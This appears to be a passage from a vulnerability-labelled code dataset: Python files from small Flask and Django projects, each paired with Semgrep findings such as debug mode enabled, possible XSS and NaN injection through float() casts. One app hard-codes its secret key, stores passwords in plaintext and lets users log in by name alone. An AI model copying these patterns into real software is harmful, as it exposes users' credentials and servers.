"medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 52, "line_end": 52, "column_start": 10, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/fee799e1c7457eb3.py", "start": {"line": 52, "col": 10, "offset": 1367}, "end": {"line": 52, "col": 27, "offset": 1384}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_fee799e1c7457eb3_0b33a904", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_initialized\" a function or an attribute? If it is a function, you may have meant ir.is_initialized() because ir.is_initialized is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 64, "line_end": 64, "column_start": 36, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/fee799e1c7457eb3.py", "start": {"line": 64, "col": 36, "offset": 2002}, "end": {"line": 64, "col": 53, "offset": 2019}, "extra": {"message": "Is \"is_initialized\" a function or an attribute? If it is a function, you may have meant ir.is_initialized() because ir.is_initialized is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_fee799e1c7457eb3_9bb91719", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_connected\" a function or an attribute? If it is a function, you may have meant ir.is_connected() because ir.is_connected is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 64, "line_end": 64, "column_start": 58, "column_end": 73, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/fee799e1c7457eb3.py", "start": {"line": 64, "col": 58, "offset": 2024}, "end": {"line": 64, "col": 73, "offset": 2039}, "extra": {"message": "Is \"is_connected\" a function or an attribute? If it is a function, you may have meant ir.is_connected() because ir.is_connected is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_fee799e1c7457eb3_b5e89fda", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_initialized\" a function or an attribute? If it is a function, you may have meant ir.is_initialized() because ir.is_initialized is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 73, "line_end": 73, "column_start": 54, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/fee799e1c7457eb3.py", "start": {"line": 73, "col": 54, "offset": 2406}, "end": {"line": 73, "col": 71, "offset": 2423}, "extra": {"message": "Is \"is_initialized\" a function or an attribute? If it is a function, you may have meant ir.is_initialized() because ir.is_initialized is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_fee799e1c7457eb3_e5798130", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_connected\" a function or an attribute? If it is a function, you may have meant ir.is_connected() because ir.is_connected is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 73, "line_end": 73, "column_start": 76, "column_end": 91, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/fee799e1c7457eb3.py", "start": {"line": 73, "col": 76, "offset": 2428}, "end": {"line": 73, "col": 91, "offset": 2443}, "extra": {"message": "Is \"is_connected\" a function or an attribute? If it is a function, you may have meant ir.is_connected() because ir.is_connected is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_fee799e1c7457eb3_e38abdd0", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(1)", "location": {"file_path": "unknown", "line_start": 88, "line_end": 88, "column_start": 17, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/fee799e1c7457eb3.py", "start": {"line": 88, "col": 17, "offset": 2848}, "end": {"line": 88, "col": 24, "offset": 2855}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(1)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_fee799e1c7457eb3_b1d85e2c", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 163, "line_end": 163, "column_start": 22, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/fee799e1c7457eb3.py", "start": {"line": 163, "col": 22, "offset": 6983}, "end": {"line": 163, "col": 50, "offset": 7011}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_fee799e1c7457eb3_d46942c0", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 169, "line_end": 169, "column_start": 22, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/fee799e1c7457eb3.py", "start": {"line": 169, "col": 22, "offset": 7240}, "end": {"line": 169, "col": 45, "offset": 7263}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_fee799e1c7457eb3_9bdfb6e5", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 192, "line_end": 192, "column_start": 64, "column_end": 76, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/fee799e1c7457eb3.py", "start": {"line": 192, "col": 64, "offset": 7997}, "end": {"line": 192, "col": 76, "offset": 8009}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
10
true
[ "", "", "", "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainabili...
[ "maintainability", "maintainability", "maintainability", "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 64, 64, 73, 73, 192 ]
[ 64, 64, 73, 73, 192 ]
[ 36, 58, 54, 76, 64 ]
[ 53, 73, 71, 91, 76 ]
[ "", "", "", "", "" ]
[ "Is \"is_initialized\" a function or an attribute? If it is a function, you may have meant ir.is_initialized() because ir.is_initialized is always true.", "Is \"is_connected\" a function or an attribute? If it is a function, you may have meant ir.is_connected() because ir.is_connected is always true.", "Is \"is...
[ 5, 5, 5, 5, 5 ]
[ "", "", "", "", "" ]
[ "", "", "", "", "" ]
trackbuilder.py
/src/trackbuilder.py
asphaltschneider/ircorners
Apache-2.0
2024-11-18T19:23:48.816594+00:00
1,568,207,521,000
41dda4feb4957cd9595b427daa0b4d39baa8950f
2
{ "blob_id": "41dda4feb4957cd9595b427daa0b4d39baa8950f", "branch_name": "refs/heads/master", "committer_date": 1568207521000, "content_id": "bc79cc97a93311803f65b40e78dc1f895bc9adce", "detected_licenses": [ "MIT" ], "directory_id": "be4b1bd7a44c8ca07f13fa8744f61b5a5ac92d4c", "extension": "py", "filename": "hello.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 204644194, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2045, "license": "MIT", "license_type": "permissive", "path": "/app/hello.py", "provenance": "stack-edu-0054.json.gz:569445", "repo_name": "Jatin-Nagpal/FlaskApp", "revision_date": 1568207521000, "revision_id": "e94184059810e22c82db812c658407a4fcbba4b5", "snapshot_id": "92acf928d5b6d263af1f4b21626c584c7f13cf92", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/Jatin-Nagpal/FlaskApp/e94184059810e22c82db812c658407a4fcbba4b5/app/hello.py", "visit_date": "2020-07-11T21:13:17.269478" }
2.40625
stackv2
from flask import Flask, session, render_template, url_for, redirect, request, escape app=Flask(__name__) from flask_bootstrap import Bootstrap import sqlite3 as sql app.secret_key = 'any random string' def create_app(): app = Flask(__name__) Bootstrap(app) return app posts = [ { 'author': 'Jatin Nagpal', 'title': 'First Blog', 'content': 'First post content', 'date_posted': 'September 10, 2019' } ] @app.route('/home/') @app.route('/') def home(): if 'handle' in session: handle = session['handle'] return render_template('home.html', posts=posts,title = 'Home Page') # return 'Logged in as ' + handle + '<br>' +\ # "<b><a href = '/logout'>Click here to log out</a></b>" return redirect(url_for('login')) @app.route('/login/') def login(): return render_template('login.html') @app.route('/loggedin/',methods = ['POST','GET']) def loggedin(): if request.method == 'POST': session['handle'] = request.form['handle'] return redirect(url_for('home')) @app.route('/logout/') def logout(): session.pop('handle', None) return redirect(url_for('home')) @app.route('/regis/',methods = ['POST','GET']) def regis(): if request.method == 'POST': try: handle = request.form['handle'] email = request.form['email'] password = request.form['password'] with sql.connect("database.db") as con: cur = con.cursor() cur.execute("INSERT INTO coders (handle,email,password) VALUES (?,?,?)", (handle,email,password) ) con.commit() msg = "Coder Successfully Added" except: con.rollback() msg = "Error in insert operation" finally: return render_template("result.html", msg = msg) con.close() @app.route('/list/') def list(): con = sql.connect("database.db") con.row_factory = sql.Row cur = con.cursor() cur.execute("select * from coders") rows = cur.fetchall(); return render_template("list.html", rows = rows) @app.route('/register/',methods = ['POST','GET']) def register(): return render_template("register.html") if __name__ == '__main__': app.run(debug=True)
83
23.64
102
16
515
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.code-after-unconditional-return_14a2bd5173483d7d_0cfdad70", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.code-after-unconditional-return", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "code after return statement will not be executed", "remediation": "", "location": {"file_path": "unknown", "line_start": 64, "line_end": 65, "column_start": 4, "column_end": 15, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.code-after-unconditional-return", "path": "/tmp/tmpb8jm_z1l/14a2bd5173483d7d.py", "start": {"line": 64, "col": 4, "offset": 1596}, "end": {"line": 65, "col": 15, "offset": 1659}, "extra": {"message": "code after return statement will not be executed", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.debug-enabled_14a2bd5173483d7d_e2a2a5dc", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.debug-enabled", "finding_type": "security", "severity": "medium", "confidence": "high", "message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 2, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": "CWE-489: Active Debug Code", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.debug-enabled", "path": "/tmp/tmpb8jm_z1l/14a2bd5173483d7d.py", "start": {"line": 83, "col": 2, "offset": 2025}, "end": {"line": 83, "col": 21, "offset": 2044}, "extra": {"message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "metadata": {"cwe": ["CWE-489: Active Debug Code"], "owasp": "A06:2017 - Security Misconfiguration", "references": ["https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/"], "category": "security", "technology": ["flask"], "subcategory": ["vuln"], "likelihood": "HIGH", "impact": "MEDIUM", "confidence": "HIGH"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "" ]
[ "rules.python.lang.maintainability.code-after-unconditional-return" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 64 ]
[ 65 ]
[ 4 ]
[ 15 ]
[ "" ]
[ "code after return statement will not be executed" ]
[ 5 ]
[ "" ]
[ "" ]
hello.py
/app/hello.py
Jatin-Nagpal/FlaskApp
MIT
2024-11-18T19:23:56.767731+00:00
1,412,296,764,000
4aa75caa976d1498bbc755b6c56690e983e0276c
2
{ "blob_id": "4aa75caa976d1498bbc755b6c56690e983e0276c", "branch_name": "refs/heads/master", "committer_date": 1412296764000, "content_id": "909ba0c787abf8a896af084a044c7f6041ed28c7", "detected_licenses": [ "MIT" ], "directory_id": "0bd1542bdece22dfd1a51d67e5eb51597f820fb8", "extension": "py", "filename": "functions.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1398, "license": "MIT", "license_type": "permissive", "path": "/what_apps/push/functions.py", "provenance": "stack-edu-0054.json.gz:569500", "repo_name": "jMyles/WHAT", "revision_date": 1412296764000, "revision_id": "69e78d01065142446234e77ea7c8c31e3482af29", "snapshot_id": "4d04119d65d317eb84c00682cb32bea2ed1bc11f", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/jMyles/WHAT/69e78d01065142446234e77ea7c8c31e3482af29/what_apps/push/functions.py", "visit_date": "2021-01-18T02:18:20.911401" }
2.484375
stackv2
from django.template import loader, Context, RequestContext import stomp import json def push_with_template(template, context, destination): ''' Pushes content through stomp / morbidQ to comet listeners. This drives a lot of the "live" content on our site. ''' t = loader.get_template(template) #Probably a very small, cookie-cutter template that gets included again and again. 'comm/call_alert.html' is a good example. c = Context(context) conn = stomp.Connection() #This will raise errors if stomp / orbited crash. Maybe we should try / except and handle this situation more gracefully. conn.start() conn.connect() conn.send(t.render(c), destination=destination) conn.stop() return True def push_with_json(dict, destination): json_dict = json.dumps(dict) conn = stomp.Connection() #This will raise errors if stomp / orbited crash. Maybe we should try / except and handle this situation more gracefully. conn.start() conn.connect() conn.send(json_dict, destination=destination) conn.stop() return True def push_with_string(string, destination): conn = stomp.Connection() #This will raise errors if stomp / orbited crash. Maybe we should try / except and handle this situation more gracefully. conn.start() conn.connect() conn.send(string, destination=destination) conn.stop()
36
37.86
163
9
309
python
[{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_694fcb5e9a63d4d5_96d09143", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 15, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpb8jm_z1l/694fcb5e9a63d4d5.py", "start": {"line": 16, "col": 15, "offset": 675}, "end": {"line": 16, "col": 26, "offset": 686}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-79" ]
[ "rules.python.flask.security.xss.audit.direct-use-of-jinja2" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 16 ]
[ 16 ]
[ 15 ]
[ 26 ]
[ "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
functions.py
/what_apps/push/functions.py
jMyles/WHAT
MIT
2024-11-18T19:23:57.885757+00:00
1,610,141,259,000
0e1f5192eb432979ace9c427fb6bf98878c98fb6
3
{ "blob_id": "0e1f5192eb432979ace9c427fb6bf98878c98fb6", "branch_name": "refs/heads/main", "committer_date": 1610141259000, "content_id": "d0b0a066db2e25ecc23563ba8f5d2466d35c4012", "detected_licenses": [ "MIT" ], "directory_id": "a73327658349142b348a0a981e1282588cd0fc35", "extension": "py", "filename": "app.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 307098297, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1469, "license": "MIT", "license_type": "permissive", "path": "/app.py", "provenance": "stack-edu-0054.json.gz:569514", "repo_name": "WilliamVida/EmergingTechnologiesProject", "revision_date": 1610141259000, "revision_id": "ef98cd5ca0a92f5192392347df578ff105db6396", "snapshot_id": "16fd53c810fb56decfb31b3e724613372c873257", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/WilliamVida/EmergingTechnologiesProject/ef98cd5ca0a92f5192392347df578ff105db6396/app.py", "visit_date": "2023-02-11T20:15:37.270647" }
2.625
stackv2
import flask as fl from flask import Flask, redirect, url_for, request, jsonify import tensorflow.keras as kr from speedPowerModel import LinearRegressionModel, PolynomialRegressionModel, KNNRegressionModel app = fl.Flask(__name__) # Add root route. @app.route("/") def home(): return app.send_static_file("index.html") # Route for linear regression. @app.route("/api/linear/<speed>") def LinearPrediction(speed): if float(speed) == 0: return jsonify({"value": 0}) prediction = LinearRegressionModel(speed) return jsonify({"value": prediction}) # Route for polynomial regression. @app.route("/api/polynomial/<speed>") def PolynomialPrediction(speed): if float(speed) == 0: return jsonify({"value": 0}) prediction = PolynomialRegressionModel(speed) return jsonify({"value": prediction}) # Route for k-nearest neighbours regression. @app.route("/api/knn/<speed>") def KNNPrediction(speed): if float(speed) == 0: return jsonify({"value": 0}) prediction = KNNRegressionModel(speed) return jsonify({"value": prediction}) # Route for neural network. @app.route("/api/nn/<speed>") def NeuralNetworkPrediction(speed): if float(speed) == 0: return jsonify({"value": 0}) speed = float(speed) model = kr.models.load_model("model.h5") prediction = model.predict([speed]) return jsonify({"value": prediction.item(0)}) if __name__ == "__main__": app.run(debug=True)
62
22.69
96
13
330
python
[{"finding_id": "semgrep_rules.python.flask.security.injection.nan-injection_609dcba71fd88f50_5990aeaa", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.injection.nan-injection", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 8, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": "CWE-704: Incorrect Type Conversion or Cast", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "title": null}, {"url": "https://blog.bitdiscovery.com/2021/12/python-nan-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.injection.nan-injection", "path": "/tmp/tmpb8jm_z1l/609dcba71fd88f50.py", "start": {"line": 18, "col": 8, "offset": 430}, "end": {"line": 18, "col": 20, "offset": 442}, "extra": {"message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "metadata": {"references": ["https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "https://blog.bitdiscovery.com/2021/12/python-nan-injection/"], "category": "security", "cwe": ["CWE-704: Incorrect Type Conversion or Cast"], "technology": ["flask"], "subcategory": ["vuln"], "impact": "MEDIUM", "likelihood": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.injection.nan-injection_609dcba71fd88f50_c00e97b8", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.injection.nan-injection", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 8, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": "CWE-704: Incorrect Type Conversion or Cast", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "title": null}, {"url": "https://blog.bitdiscovery.com/2021/12/python-nan-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.injection.nan-injection", "path": "/tmp/tmpb8jm_z1l/609dcba71fd88f50.py", "start": {"line": 29, "col": 8, "offset": 691}, "end": {"line": 29, "col": 20, "offset": 703}, "extra": {"message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "metadata": {"references": ["https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "https://blog.bitdiscovery.com/2021/12/python-nan-injection/"], "category": "security", "cwe": ["CWE-704: Incorrect Type Conversion or Cast"], "technology": ["flask"], "subcategory": ["vuln"], "impact": "MEDIUM", "likelihood": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.injection.nan-injection_609dcba71fd88f50_c43e4f4c", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.injection.nan-injection", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 40, "line_end": 40, "column_start": 8, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": "CWE-704: Incorrect Type Conversion or Cast", 